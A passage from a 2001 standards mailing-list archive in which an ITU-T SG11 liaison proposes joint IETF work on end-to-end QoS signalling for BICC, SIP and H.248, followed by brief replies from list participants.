domain and an associated transport domain.
This information contains the QoS related
characteristics required of the transport
flows that will carry the media flow and the
properties of the media flow.rightQ.CBC QoS request (Qcbc.QoSreq) requests t=
he
establishment of a transport flow with
defined QoS characteristics across a
Transport Domain or the reservation of
Transport Domain resource.rightNOTE Identical to TRM QoS request
(QT2.TRMQreq) in ETSI TS 101 329 part 3
clause 8.1.3.rightQ.CBC QoS confirm (Qcbc.QoSconf) acknowled=
ges
the creation of a requested transport flow or
the reservation of Transport Domain resource.rightNOTE Identical to TRM QoS confirm
(QT2.TRMQconf) in ETSI TS 101 329 part 3
clause 8.1.3.rightQ.CBC QoS reject (Qcbc.QoSrej) rejects the=
creation of a requested transport flow or the
reservation of Transport Domain resource.rightNOTE Identical to TRM QoS reject
(QT2.TRMQrej) in ETSI TS 101 329 part 3
clause 8.1.3.rightQ.CBC QoS release request (Qcbc.QoSrelreq)=
requests the release of a transport flow.rightNOTE Identical to TRM QoS release request
(QT2.TRM QoS relreq) in ETSI TS 101 329 part
3 clause 8.1.3. The release of a transport
flow is already covered by the existing Q.CBC
procedures in Q.1950.rightQ.CBC QoS release confirm (Qcbc.QoSrelconf=
)
confirms the release of a transport flow.rightNOTE Identical to TRM QoS release confirm
(QT2.TRM QoS relconf) in ETSI TS 101 329 part
3 clause 8.1.3. The release of a transport
flow is already covered by the existing Q.CBC
procedures in Q.1950.rightQ.CBC QoS performance notification
(Qcbc.QoSperfnotif) notifies the Service
Domain of the performance of the Transport
Domain in meeting the requested QoS levels.
This may be a periodic event or an urgent
alarm. Note: this primitive is a management
primitive and its use is for further study.rightNOTE Identical to TRM QoS performance
notification (QT2.TRM QoS perfnotif) in ETSI
TS 101 329 part 3 clause 8.1.3. For further
study.right5.2 Q.CBC related QoS parameters
rightTable 2 lists the parameters used in the
Q.CBC related QoS primitives not yet covered
by the Q.CBC protocol. The deleted items
refer to the information elements already
covered by the BICC CS2 protocol in Q.1950. rightNOTE The contents of Table 2 is an
interpretation of the table in ETSI TS 101
329 part 3 clause 8.2.5.rightTable 2: Identification of Q.CBC related
parameters for end-to-end QoS service controlrightQT2.TRMQreq Transport QoS Parameters
Mandatoryright Traffic Descriptor Mandatory
right Transport Addresses Mandatory
right Packet Transport Protocol
Optional [Default UDP]rightQT2.TRMQconf Transport QoS Parameters
Mandatoryright Transport Addresses Mandatory
right Packet Transport Protocol
Optional [Default UDP]right QoS Mechanism OptionalrightQT2.TRMQrej Reason [TBD] Mandatory
right6 Parameter contentsrightTable 3 specifies the information to be
covered by the parameters listed in sections
4.2 and 5.2 based on the QoS parameter groups
in ETSI TS 101 329 part 3 clause 8.2.1.rightTable 3: Identification of parameter conte=
nts
for end-to-end QoS service controlrightQoS Service Class Describes the end-to-end=
ETSI TIPHON Best, High, Medium right class of a bearer or Best
EffortrightTransport QoS Specifies the QoS
characteristics Maximum DelayrightParameters required of the transport flow=
right carrying the media flow.
Maximum Packet Delay Variationright Maximum Packet LossrightTraffic Descriptor Characterises the
resource Peak Bit right requirements of an application data
right flow (excludes transport flow
Maximum Packet Sizeright resource requirements).rightParameters specifying the ETSI TIPHON QoS
Class as defined in ETSI TS 101 329 Part 2rightThe maximum delay permitted (ms) over eith=
er
a segment of the transport flow or the
remaining part of the transport flow.rightThe maximum packet delay variation permitt=
ed
(ms) over either a segment of the transport
flow or the remaining part of the transport
flow.rightThe maximum packet loss permitted (%) over=
either a segment of the transport flow or the
remaining part of the transport flow. [N.B.
This measure assumes randomly distributed
packet loss]rightMaximum bit rate (bit/s) of the media flow=
.rightMaximum size of the media packets
right7 Information flows and signalling procedu=
res
for end-to-end QoS service controlrightEDITORS=92 NOTE The information flows and
signalling procedures for end-to-end QoS
service control may be considered to follow
the same principles as the already existing
procedures for end-to-end codec negotiation
in BICC CS1 and BICC CS2. Similarly mid-call
procedures for end-to-end QoS modification
and mid-call QoS modification may be
considered because the perceived QoS is
highly related to the codec type employed end-
to-end as part of the connection. The exact
scope and properties of these procedures and
protocol message flows needs further
discussion.
Greg Ratta, Vice Chairman, ITU-T SG 11, Signalling requirements and protoc=
ols
Lucent Technologies
Tel: +1 732 332 5174, Fax: +1 732 949 1196, gratta@lucent.com
From owner-issll@mercury.lcs.mit.edu Wed May 30 18:14:39 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26153
for ; Wed, 30 May 2001 18:14:36 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id RAA26262
for issll-outgoing; Wed, 30 May 2001 17:23:45 -0400 (EDT)
Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id RAA25380
for ; Wed, 30 May 2001 17:23:43 -0400 (EDT)
Received: from njb140r1.ems.att.com ([135.65.202.58])
by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4ULLMD18676;
Wed, 30 May 2001 17:21:22 -0400 (EDT)
Received: from njb140bh2.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
id RAA19071; Wed, 30 May 2001 17:20:06 -0400 (EDT)
Received: by njb140bh2.ems.att.com with Internet Mail Service (5.5.2653.19)
id ; Wed, 30 May 2001 17:21:20 -0400
Message-ID:
From: "Roy, Radhika R, ALCTA"
To: gratta@lucent.com, sob@harvard.edu, mankin@isi.edu
Cc: diffserv@ietf.org, iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu,
megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org,
tsvwg@ietf.org, Yukio Hiramatsu
,
rbuhrke@lucent.com, tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR E
ND-TO-END QOS SERVICE CONTROL
Date: Wed, 30 May 2001 17:21:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
charset="iso-8859-1"
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Hi, Everyone:
Question Q.F/16 of ITU-T SG16 is fully dedicated for developing standards
for "End-to-End QOS for Multimedia Applications". Contributions are also
being under discussion in the ITU-T SG16 Brazil May 28 - June 8, 2001
meeting.
Applications like H.323, SIP, H.324, H.310, and others will also be able to
use this Q.F/16's QOS signaling protocol. MEGACO/H.248 and BICC will also be
able to use this when specs are fully developed and, TIPHON's QOS mechanisms
can also be used as one of the mechanisms for implementations.
BICC and MEGCAO/H.248 are only used as the protocol between the gateways,
NOT end-to-end (although SIP/H.323 or other protocols may be used between
the gateways).
The "End-to-End QOS for Multimedia Applications" of SG16 can also be termed
as "Application Layer QOS."
Q.F/16's end-to-end application layer QOS can also be implemented over the
network layer QOS like RSVP, DiffServe, and/or MPLS after proper mapping.
Similar is the case for the ATM network.
Please note that the network layer QOS (e.g., RSVP, DiffServe, and/or MPLS)
may or may not have the end-to-end significance. For example, an IP network
may implement different QOS schemes in different domains (e.g., RVSP in one
domain, DiffServ in another domain).
However, the application layer QOS is end-to-end that remains the same. For
example, an H.323 or SIP call that can traverse several IP domains where
each domain may implement its own network layer QOS schemes while the
H.323/SIP call carry the signaling messages and QOS parameters end-to-end
independent of the underlying network layer QOS mechanisms.
Let us work together.
Best regards,
Radhika R. Roy
AT&T
-----Original Message-----
From: Greg Ratta [mailto:gratta@lucent.com]
Sent: Wednesday, May 30, 2001 4:22 PM
To: sob@harvard.edu; mankin@isi.edu
Cc: diffserv@ietf.org; iptel@lists.bell-labs.com; issll@mercury.lcs.mit.edu;
megaco@fore.com; sip@lists.bell-labs.com; sipping@ietf.org; tsvwg@ietf.org;
Yukio Hiramatsu; rbuhrke@lucent.com; tsg11q8@ties.itu.ch;
tsg11q9@ties.itu.ch
Subject: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR
END-TO-END QOS SERVICE CONTROL
This message was agreed to at ITU-T Study Group 11 meeting (Geneva, May
2001) and is being transmitted on behalf of Yukio Hiramatsu, Chairman of
ITU-T SG 11. For further technical clarification, contact the Rapporteur for
Q9/11 (Rolfe Buhrke, Tel: + 1 630 713 7022, { HYPERLINK
mailto:rburke@lucent.com }rbuhrke@lucent.com)
FULL TITLE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR
END-TO-END QOS SERVICE CONTROL AND SIGNALLING PROTOCOL DEVELOPMENT BASED ON
IP TRANSFER CAPABILITIES AND IP QOS CLASSES
General
Within ITU-T SG11 work has started on requirements for a generic protocol
mechanism for end-to-end QoS service control. It was agreed within SG11 to
proceed with this work utilising deliverables of ETSI TIPHON on end- to-end
QoS service control as base material. It is the opinion of SG11 that this
generic protocol mechanism for BICC intends to apply also to other protocols
like SIP/SDP and H.323 next to generic extensions to the H.248/MEGACO
protocol.
It was noted that also QoS related work is in progress in IETF. Please find
attached an initial draft of the BICC CS3 signalling requirements for
end-to-end QoS service control. Please note the rationale for this activity
and the framework for end-to-end QoS service control and network QoS
control. The framework illustrates the field of application of the QoS
handling at different levels and the different protocols involved.
Proposals on end-to-end QoS service control
It is proposed to start a joint activity with IETF on a generic protocol
mechanism for end- to-end QoS service control. This refers to the potential
work in IETF on the following topics:
- Identification of the signalling requirements based on the ETSI TIPHON
defined speech QoS service classes for VoIP and the signalling and control
of end-to-end QoS for VoIP. The attachment provides the initial draft of the
BICC CS3 signalling requirements for end-to-end QoS service control.
- The definition of a generic call/bearer control mechanism in H.225/H.245,
SIP/SDP and BICC CS3 for end-to-end QoS service control in the application
plane.
- The definition of generic extensions to H.248/MEGACO for end-to-end QoS
service control between the application plane and the transport plane.
- The translation between the generic protocol QoS information elements in
H.248/MEGACO and the technology specific QoS parameters and QoS mechanisms
in IP, ATM, MPLS, etc.
Proposals on IP QoS classes and IP Transfer Capabilities
ITU-T SG11 would like to inform IETF that it is investigating signalling
requirements for protocol development based on the IP Transfer Capabilities
and IP QoS classes, as being defined by ITU-T SG13 in Y.1541 and Y.iptc. The
plan is to build upon signalling approaches developed by IETF. We would like
to stress that the work on IP QoS classes and IP Transfer Capabilities by
ITU-T SG13 is co- ordinated with IETF.
ATTACHMENT Initial draft text of the BICC CS3 signalling requirements
for end-to-end QoS service control.
The ETSI specifications referenced as base material are available at the
following URLs:
ETSI TS 301 329 part 2, http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/07- drafts/wg5/_Published/DTS05009/V1.1.1/ts_10
1329-2v111p.doc
- ETSI TS 301 329 part 3 see http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/07-
drafts/wg5/_Published/DTS05003/DTS05003v096.zi p
Further information about the ETSI TIPHON project is available at the
following URL:
- http://webapp.etsi.org/tbhomepage/TBDetails.as p?TB_ID=291&TB_NAME=TIPHON
__________________
BICC CS3 signalling requirements for end-to- end QoS service control
EDITORS' NOTE: This requirements text for end-to-end QoS service control is
a first draft text and requires extensive updating based on liaison
activities with other groups
1 Rationale
The rationale of the BICC CS3 requirements for end-to-end service control is
based on the analysis made by ETSI TIPHON (see the presentation available at
the URL: http://docbox.etsi.org/tech-
org/tiphon/Document/tiphon/ARCHIVES/2000/05- 200012-
Kyoto/WG5%20TIPHON21%20presentation%20Rev1.ppt ). It shows the
inter-relationship between the different QoS factors that finally determine
the perceived speech quality by the end- users. This perceived speech
quality does not only depend on network quality of service (network packet
loss, network jitter and network delay) but on the terminal implementation
(jitter buffers and codec performance) as well.
A second rationale is that end-to-end QoS requirements can be regarded as
end-to-end quality budgets related to the media flows. To achieve the
required end-to-end QoS these quality budgets must be allocated between the
domains, including the user equipment (see Figure 7 in ETSI TS 301 329 part
3). The Transport QoS Parameters specify the QoS budgets for each Transport
Domain. It is assumed that the performance of each domain is statistically
independent from any other.
Therefore end-to-end QoS service control at the call control level (i.e.
application plane) is required based on generic signalling procedures in
protocols like BICC, SIP/SDP, H.323 and H.248/MEGACO for end-to- end QoS
service control.
2 Framework for end-to-end QoS service control and network QoS control.
A framework for QoS control may be considered at different levels: call
control (BICC, SIP/SDP, H.323), vertical control (H.248/MEGACO, CBC), bearer
control (IP BCP) and bearer (DiffServ, IntServ/RSVP or MPLS/LDP).
1) Call-control
a) End-to-end QoS service control is negotiated/communicated end-to-end at
the call control level. ETSI TIPHON has defined a set of speech QoS classes,
and signalling requirements and flows for this purpose.
The idea is that call control protocols are enhanced with a generic
end-to-end QoS service control mechanism to negotiate these speech QoS
classes and associated parameters (Maximum delay, Maximum packet delay
variation, Maximum packet loss, Peak bit rate and Maximum packet size).
Such a generic end-to-end QoS service control mechanism should be defined
independent of the underlying technology (ATM or IP) and operate across
network domains and including terminal characteristics to
negotiate/communicate the requested listener speech quality that will be
perceived by the end-users (i.e. "mouth-to-ear").
b) BICC (Q.190x) is one of the call control protocols that may be enhanced
this way. Similar enhancements may be applicable to other call-control
protocols like SIP/SDP and H.323.
2) Vertical control
a) QoS service control is also negotiated/communicated at the vertical
control level. The ETSI TIPHON defined signalling requirements and flows
include the vertical interface. The idea is that vertical control protocols
are enhanced to negotiate/communicate the QoS settings (Maximum delay,
Maximum packet delay variation, Maximum packet loss, Peak bit rate and
Maximum packet size) in the bearer core network based on generic
H.248/MEGACO extensions.
These QoS settings should be defined independent of the underlying
technology (ATM or IP) of the bearer core network.
b) CBC (Q.1950) is one of the vertical control protocols that may be
enhanced this way.
3) Bearer control
a) Network QoS is negotiated/communicated at the bearer control level. ATM
signalling does already intrinsically support network QoS. SG13 has recently
defined IP QoS classes and IP Transfer Capabilities.
The idea is that bearer control protocols for IP are enhanced with a
mechanism to negotiate the network QoS by using IP QoS classes and IP
Transfer Capabilities.
b) IP BCP (Q.1970) is an IP bearer control protocol that may be enhanced
this way.
4) Bearer
a) Network QoS is negotiated/communicated at the bearer level, i.e. as part
of the protocols associated with the bearers in the core network. The idea
is that IP QoS classes and IP Transfer Capabilties, as defined by SG13, are
used to differentiate between different types of IP traffic.
b) IP QoS classes and IP Transfer Capabilities may be used to enhance
existing IP mechanisms like DiffServ, IntServ/RSVP and MPLS/LDP.
3 QoS information flows applicable to BICC
A general model is considered for QoS information flows with BICC when
making a translation of the relevant parts in Figure 8 in ETSI TS 301 329
part 3.
Section 4 details the Q.BICC related QoS primitives and parameters based on
the QoS primitives and parameters in the ETSI deliverable. Similarly,
section 5 provides the Q.CBC related QoS primitives and parameters.
4 Q.BICC related QoS primitives and parameters
The Q.BICC related QoS primitives and parameters are extracted from clause
8.1 and clause 8.2 of ETSI TS 101 329 part 3.
4.1 Q.BICC related QoS primitives
This information flow (QC2 in ETSI TS 101 329 part 3) communicates the QoS
related bearer information between the domains of different service
providers.
Q.BICC QoS request (Qbicc.QoSreq) requests the establishment of a bearer
conforming to a particular ETSI TIPHON Class of Service or with defined QoS
characteristics.
NOTE Identical to QoSM request (QC2.QoSMreq) in ETSI TS 101 329 part 3
clause 8.1.1.
Q.BICC QoS confirm (Qbicc.QoSconf) acknowledges the creation of a bearer
conforming to a requested ETSI TIPHON QoS Class or with specified QoS
characteristics.
NOTE Identical to QoSM confirm (QC2.QoSMconf) in ETSI TS 101 329 part 3
clause 8.1.1.
Q.BICC QoS reject (Qbicc.QoSrej) rejects the creation of a bearer conforming
to a requested ETSI TIPHON QoS Class or with specified QoS characteristics.
NOTE Identical to QoSM reject (QC2.QoSMrej) in ETSI TS 101 329 part 3
clause 8.1.1.
Q.BICC release request (Qbicc.QoSrelreq) requests the release of a bearer.
NOTE Identical to QoSM release request (QC2.QoSMrelreq) in ETSI TS 101
329 part 3 clause 8.1.1 and the release of a transport flow is already
covered by existing Q.BICC procedures in Q.1902 series.
QoSM release confirm (Qbicc.QoSrelconf) confirms the release of a bearer.
NOTE Identical to QoSM release confirm (QC2.QoSMrelconf) in ETSI TS 101
329 part 3 clause 8.1.1 and the release of a transport flow is already
covered by existing Q.BICC procedures in Q.1902 series.
4.2 Q.BICC related QoS parameters
Table 1 lists the parameters used in the Q.BICC related QoS primitives not
yet covered by the Q.BICC protocol. The deleted items refer to the
information elements already covered by the BICC CS2 protocol in the Q.1902
series.
NOTE The contents of Table 1 is an interpretation of the table in ETSI TS
101 329 part 3 clause 8.2.3.
Table 1: Identification of Q.BICC related parameters for end-to-end QoS
service control
Qbicc.QoSreq QoS Service Class Optional
Codec Type and Packetisation Mandatory
Transport QoS Parameters Mandatory
Traffic Descriptor Optional
Transport Addresses Mandatory
Application Data Transport Protocol Optional
[Default RTP]
Packet Transport Protocol Optional [Default UDP]
QoS Mechanism Optional
Qbicc.QoSconf QoS Service Class Optional
Codec Type and Packetisation Mandatory
Transport QoS Parameters Mandatory
Transport Addresses Mandatory
Application Data Transport Protocol Optional
[Default RTP]
Packet Transport Protocol Optional [Default UDP]
Qbicc.QoSrej Reason [TBD] Mandatory
5 Q.CBC related QoS primitives and parameters
The Q.CBC related QoS primitives and parameters are extracted from clause
8.1 and clause 8.2 of ETSI TS 101 329 part 3.
5.1 Q.CBC related QoS primitives
This information flow (QT2 in ETSI TS 101 329 part 3) communicates the QoS
related transport flow information between a service domain and an
associated transport domain. This information contains the QoS related
characteristics required of the transport flows that will carry the media
flow and the properties of the media flow.
Q.CBC QoS request (Qcbc.QoSreq) requests the establishment of a transport
flow with defined QoS characteristics across a Transport Domain or the
reservation of Transport Domain resource.
NOTE Identical to TRM QoS request (QT2.TRMQreq) in ETSI TS 101 329 part 3
clause 8.1.3.
Q.CBC QoS confirm (Qcbc.QoSconf) acknowledges the creation of a requested
transport flow or the reservation of Transport Domain resource.
NOTE Identical to TRM QoS confirm (QT2.TRMQconf) in ETSI TS 101 329 part
3 clause 8.1.3.
Q.CBC QoS reject (Qcbc.QoSrej) rejects the creation of a requested transport
flow or the reservation of Transport Domain resource.
NOTE Identical to TRM QoS reject (QT2.TRMQrej) in ETSI TS 101 329 part 3
clause 8.1.3.
Q.CBC QoS release request (Qcbc.QoSrelreq) requests the release of a
transport flow.
NOTE Identical to TRM QoS release request (QT2.TRM QoS relreq) in ETSI TS
101 329 part 3 clause 8.1.3. The release of a transport flow is already
covered by the existing Q.CBC procedures in Q.1950.
Q.CBC QoS release confirm (Qcbc.QoSrelconf) confirms the release of a
transport flow.
NOTE Identical to TRM QoS release confirm (QT2.TRM QoS relconf) in ETSI
TS 101 329 part 3 clause 8.1.3. The release of a transport flow is already
covered by the existing Q.CBC procedures in Q.1950.
Q.CBC QoS performance notification (Qcbc.QoSperfnotif) notifies the Service
Domain of the performance of the Transport Domain in meeting the requested
QoS levels. This may be a periodic event or an urgent alarm. Note: this
primitive is a management primitive and its use is for further study.
NOTE Identical to TRM QoS performance notification (QT2.TRM QoS
perfnotif) in ETSI TS 101 329 part 3 clause 8.1.3. For further study.
5.2 Q.CBC related QoS parameters
Table 2 lists the parameters used in the Q.CBC related QoS primitives not
yet covered by the Q.CBC protocol. The deleted items refer to the
information elements already covered by the BICC CS2 protocol in Q.1950.
NOTE The contents of Table 2 is an interpretation of the table in ETSI TS
101 329 part 3 clause 8.2.5.
Table 2: Identification of Q.CBC related parameters for end-to-end QoS
service control
QT2.TRMQreq Transport QoS Parameters Mandatory
Traffic Descriptor Mandatory
Transport Addresses Mandatory
Packet Transport Protocol Optional [Default UDP]
QT2.TRMQconf Transport QoS Parameters Mandatory
Transport Addresses Mandatory
Packet Transport Protocol Optional [Default UDP]
QoS Mechanism Optional
QT2.TRMQrej Reason [TBD] Mandatory
6 Parameter contents
Table 3 specifies the information to be covered by the parameters listed in
sections 4.2 and 5.2 based on the QoS parameter groups in ETSI TS 101 329
part 3 clause 8.2.1.
Table 3: Identification of parameter contents for end-to-end QoS service
control
QoS Service Class Describes the end-to-end ETSI TIPHON Best,
High, Medium
class of a beareror Best Effort
Transport QoS Specifies the QoS characteristics Maximum
Delay
Parameters required of the transport flow
carrying the media flow. Maximum Packet
Delay Variation
Maximum Packet Loss
Traffic Descriptor Characterises the resource Peak Bit
requirements of an application data
flow (excludes transport flow Maximum Packet Size
resource requirements).
Parameters specifying the ETSI TIPHON QoS Class as defined in ETSI TS 101
329 Part 2
The maximum delay permitted (ms) over either a segment of the transport flow
or the remaining part of the transport flow.
The maximum packet delay variation permitted (ms) over either a segment of
the transport flow or the remaining part of the transport flow.
The maximum packet loss permitted (%) over either a segment of the transport
flow or the remaining part of the transport flow. [N.B. This measure assumes
randomly distributed packet loss]
Maximum bit rate (bit/s) of the media flow.
Maximum size of the media packets
7 Information flows and signalling procedures for end-to-end QoS service
control
EDITORS' NOTE The information flows and signalling procedures for
end-to-end QoS service control may be considered to follow the same
principles as the already existing procedures for end-to-end codec
negotiation in BICC CS1 and BICC CS2. Similarly mid-call procedures for
end-to-end QoS modification and mid-call QoS modification may be considered
because the perceived QoS is highly related to the codec type employed end-
to-end as part of the connection. The exact scope and properties of these
procedures and protocol message flows needs further discussion.
Greg Ratta, Vice Chairman, ITU-T SG 11, Signalling requirements and
protocols
Lucent Technologies Tel: +1 732 332 5174, Fax: +1 732 949 1196,
gratta@lucent.com
From owner-issll@mercury.lcs.mit.edu Wed May 30 20:08:46 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27762
for ; Wed, 30 May 2001 20:08:45 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id SAA24943
for issll-outgoing; Wed, 30 May 2001 18:31:48 -0400 (EDT)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id SAA26487
for ; Wed, 30 May 2001 18:31:46 -0400 (EDT)
Received: from FRED-W2K.cisco.com (fred-hm-dhcp3.cisco.com [171.69.128.118])
by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f4UMUBU11655;
Wed, 30 May 2001 15:30:11 -0700 (PDT)
Message-Id: <5.1.0.14.2.20010530152432.043b8ec0@mira-sjcm-2.cisco.com>
X-Sender: fred@mira-sjcm-2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Wed, 30 May 2001 15:30:00 -0700
To: gratta@lucent.com
From: Fred Baker
Subject: Re: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM
FOR END-TO-END QOS SERVICE CONTROL
Cc: sob@harvard.edu, mankin@isi.edu, diffserv@ietf.org,
iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu, megaco@fore.com,
sip@lists.bell-labs.com, sipping@ietf.org, tsvwg@ietf.org,
Yukio Hiramatsu , rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
John C Klensin , chair@ietf.org
In-Reply-To: <200105302022.QAA03855@hotair.hobl.lucent.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Greg:
The URLs in this note were all sent with what the ETSI machine considered
to be 'malformed syntax'. Could you resend the correct URLs?
Fred
From owner-issll@mercury.lcs.mit.edu Wed May 30 20:25:00 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27914
for ; Wed, 30 May 2001 20:24:58 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id TAA28003
for issll-outgoing; Wed, 30 May 2001 19:39:40 -0400 (EDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id TAA26779
for ; Wed, 30 May 2001 19:39:38 -0400 (EDT)
Received: from gra.isi.edu (gra.isi.edu [128.9.160.133])
by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f4UNdHZ03453;
Wed, 30 May 2001 16:39:17 -0700 (PDT)
From: Bob Braden
Received: (from braden@localhost)
by gra.isi.edu (8.8.7/8.8.6) id XAA13198;
Wed, 30 May 2001 23:39:17 GMT
Date: Wed, 30 May 2001 23:39:17 GMT
Message-Id: <200105302339.XAA13198@gra.isi.edu>
To: gratta@lucent.com, sob@harvard.edu, mankin@isi.edu, rrroy@att.com
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR E
ND-TO-END QOS SERVICE CONTROL
Cc: diffserv@ietf.org, iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu,
megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org,
tsvwg@ietf.org, hiramatsu.yukio@lab.ntt.co.jp, rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
X-Sun-Charset: US-ASCII
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
*> From owner-issll@mercury.lcs.mit.edu Wed May 30 14:59:58 2001
*> From: "Roy, Radhika R, ALCTA"
*> To: gratta@lucent.com, sob@harvard.edu, mankin@ISI.EDU
*> Cc: diffserv@ietf.org, iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu,
*> megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org, tsvwg@ietf.org,
*> Yukio Hiramatsu
*> , rbuhrke@lucent.com,
*> tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch, ITU-SG16@mailbag.cps.INTEL.COM
*> Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR E
*> ND-TO-END QOS SERVICE CONTROL
*> Date: Wed, 30 May 2001 17:21:14 -0400
*> MIME-Version: 1.0
*>
*> Hi, Everyone:
*>
*> Question Q.F/16 of ITU-T SG16 is fully dedicated for developing standards
*> for "End-to-End QOS for Multimedia Applications". Contributions are also
*> being under discussion in the ITU-T SG16 Brazil May 28 - June 8, 2001
*> meeting.
This is very confusing. "End-to-End QOS for Multimedia Applications"
is an really important topic, but this topic must be a superset of
"End-to-End QOS signaling". There are much harder problems than
signaling in providing E2E QoS. Can you explain how signaling relates
to the title of this working party?
Thanks,
Bob Braden
*>
*> Applications like H.323, SIP, H.324, H.310, and others will also be able to
*> use this Q.F/16's QOS signaling protocol. MEGACO/H.248 and BICC will also be
*> able to use this when specs are fully developed and, TIPHON's QOS mechanisms
*> can also be used as one of the mechanisms for implementations.
From owner-issll@mercury.lcs.mit.edu Thu May 31 10:17:41 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA26027
for ; Thu, 31 May 2001 10:17:40 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id JAA31019
for issll-outgoing; Thu, 31 May 2001 09:11:30 -0400 (EDT)
Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id JAA30954
for ; Thu, 31 May 2001 09:11:23 -0400 (EDT)
Received: from gab200r1.ems.att.com ([135.37.94.32])
by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id f4VD8wC16127;
Thu, 31 May 2001 09:08:58 -0400 (EDT)
Received: from njb140bh1.ems.att.com by gab200r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2)
id JAA04890; Thu, 31 May 2001 09:08:30 -0400 (EDT)
Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2653.19)
id ; Thu, 31 May 2001 09:08:52 -0400
Message-ID:
From: "Roy, Radhika R, ALCTA"
To: Bob Braden , gratta@lucent.com, sob@harvard.edu,
mankin@isi.edu
Cc: diffserv@ietf.org, iptel@lists.bell-labs.com, issll@mercury.lcs.mit.edu,
megaco@fore.com, sip@lists.bell-labs.com, sipping@ietf.org,
tsvwg@ietf.org, hiramatsu.yukio@lab.ntt.co.jp, rbuhrke@lucent.com,
tsg11q8@ties.itu.ch, tsg11q9@ties.itu.ch,
ITU-SG16@mailbag.cps.INTEL.COM
Subject: RE: PROPOSED JOINT ACTIVITY ON A GENERIC PROTOCOL MECHANISM FOR E
ND-TO-END QOS SERVICE CONTROL
Date: Thu, 31 May 2001 09:08:45 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
charset="iso-8859-1"
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Hi, Bob:
All applications (e.g., H.323, SIP) uses signaling messages among its
functional entities (e.g., terminal, agents, gatekeepers, proxies, gateways)
for communications.
The signaling messages that carry QOS parameters are treated as QOS
signaling messages. The applications like SIP and H.323 send signaling
messages end-to-end. H.323 uses H.225.0 RAS, Q.931, Annex G, and H.245
signaling protocols. SIP also uses SDP as a part of the signaling messages.
The signaling messages that carry QOS related information can be treated as
"End-to-End QOS signaling" messages.
Kindly see the ongoing works of Q.F/16 of SG16. This will provide more
information related to your questions.
Hope this helps.
Best regards,
Radhika R. Roy
-----Original Message-----
From: Bob Braden [mailto:braden@ISI.EDU]
Sent: Wednesday, May 30, 2001 7:39 PM
To: gratta@lucent.com; sob@harvard.edu; mankin@ISI.EDU; Roy, Radhika R,
ALCTA
Cc: diffserv@ietf.org; iptel@lists.bell-labs.com;
issll@mercury.lcs.mit.edu; megaco@fore.com; sip@lists.bell-labs.com;
sipping@ietf.org; tsvwg@ietf.org; hiramatsu.yukio@lab.ntt.co.jp;
rbuhrke@lucent.com; tsg11q8@ties.itu.ch; tsg11q9@ties.itu.ch;
ITU-SG16@mailbag.cps.INTEL.COM
